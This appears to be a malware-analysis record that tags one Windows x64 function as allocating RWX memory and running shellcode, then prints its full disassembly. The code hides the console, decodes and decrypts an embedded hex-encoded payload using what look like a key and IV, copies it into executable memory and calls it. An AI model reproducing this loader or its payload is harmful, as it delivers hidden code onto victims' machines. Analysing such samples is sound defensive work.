Function at 0x140002935
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x340
lea rbp, [rsp + 0x80]
call fcn.140002b80
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.dd41bdea1cf578c208a43089ac437a6aec9d62c3a2255d8584b5b3af0a203f2f08ef8ba799e512f2ecde28141e1416ffd055e0136d427eaf325cd2e817ead1560494298b3f522dccc6d0aa927adc995c9efe8e2d91b8415e2c4be16a165ae5ea331b9bd18411d9663eeabdd3dc58805778d9e3717a7c2b55019a16a5d82a74e2ac7c3006788181b86ebe1be7f9ba274e79c6d22541fcf27a21f8f217148ac6eeefb7ed378a04716813c0a9f0f947fe3bcd95f1c9142d2e0e5647cc52a692d4f9335804a6fdf0e0c8c13dd5e3cfc34606737eae0b64d0d141b03e12466e27febf07eed6f3ed0bc0a984f196b1c279892066e4813db9335402f2858c9e14680d7637890aae5251493948fc0251c6442532629c793df18575647504a5975961ddf1ffb59ee27e9259492c3501173205fa3432711f2641b6ac4a81486e8811c7a0278ba2bedb047f97aff14d9a1cc561f67308b8a1d313649e9849e681e23427877602f5d2b2aef85c1705b263adac3ff4e513b92f74c0c34b1ed565b2e559094ad6a3efc3b9889b5ef3c068b00998d44ebc66b4e13b3b6459e66e619942dd0a07a58a35673771c1a25e14a9dfd1864f62504e459302061812f87b89aae6b0b0f1bdbdf5be5dd596da826761bc158a21fd45bc5cf6c210b0ed41d2d9c1f5817b21f253469f65bd321e80ae8502b4b692c89b4c21a7f96e03fd
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x2bc], eax
lea rax, str.43e70724f25b9f35d38ea1c59eb81f6f47edb106631debb46b158925244cb61b
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x2b8], eax
lea rax, str.da11b454c89948d7f025c845b4f591e3eabcf49be1881c44475bb24ea21bae0c
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x2b4], eax
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.dd41bdea1cf578c208a43089ac437a6aec9d62c3a2255d8584b5b3af0a203f2f08ef8ba799e512f2ecde28141e1416ffd055e0136d427eaf325cd2e817ead1560494298b3f522dccc6d0aa927adc995c9efe8e2d91b8415e2c4be16a165ae5ea331b9bd18411d9663eeabdd3dc58805778d9e3717a7c2b55019a16a5d82a74e2ac7c3006788181b86ebe1be7f9ba274e79c6d22541fcf27a21f8f217148ac6eeefb7ed378a04716813c0a9f0f947fe3bcd95f1c9142d2e0e5647cc52a692d4f9335804a6fdf0e0c8c13dd5e3cfc34606737eae0b64d0d141b03e12466e27febf07eed6f3ed0bc0a984f196b1c279892066e4813db9335402f2858c9e14680d7637890aae5251493948fc0251c6442532629c793df18575647504a5975961ddf1ffb59ee27e9259492c3501173205fa3432711f2641b6ac4a81486e8811c7a0278ba2bedb047f97aff14d9a1cc561f67308b8a1d313649e9849e681e23427877602f5d2b2aef85c1705b263adac3ff4e513b92f74c0c34b1ed565b2e559094ad6a3efc3b9889b5ef3c068b00998d44ebc66b4e13b3b6459e66e619942dd0a07a58a35673771c1a25e14a9dfd1864f62504e459302061812f87b89aae6b0b0f1bdbdf5be5dd596da826761bc158a21fd45bc5cf6c210b0ed41d2d9c1f5817b21f253469f65bd321e80ae8502b4b692c89b4c21a7f96e03fd
mov rcx, rax
call fcn.1400028a9
mov eax, dword [rbp + 0x2b8]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.43e70724f25b9f35d38ea1c59eb81f6f47edb106631debb46b158925244cb61b
mov rcx, rax
call fcn.1400028a9
mov eax, dword [rbp + 0x2b4]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.da11b454c89948d7f025c845b4f591e3eabcf49be1881c44475bb24ea21bae0c
mov rcx, rax
call fcn.1400028a9
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1e0]
mov r8d, 0x1f7
mov rcx, rax
call fcn.14000270e
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f7
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov rdx, rax
lea rax, [rbp - 0x20]
mov ecx, 0x1f7
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2a8]
call rax
mov eax, 0
add rsp, 0x340
pop rsi
pop rdi
pop rbp
ret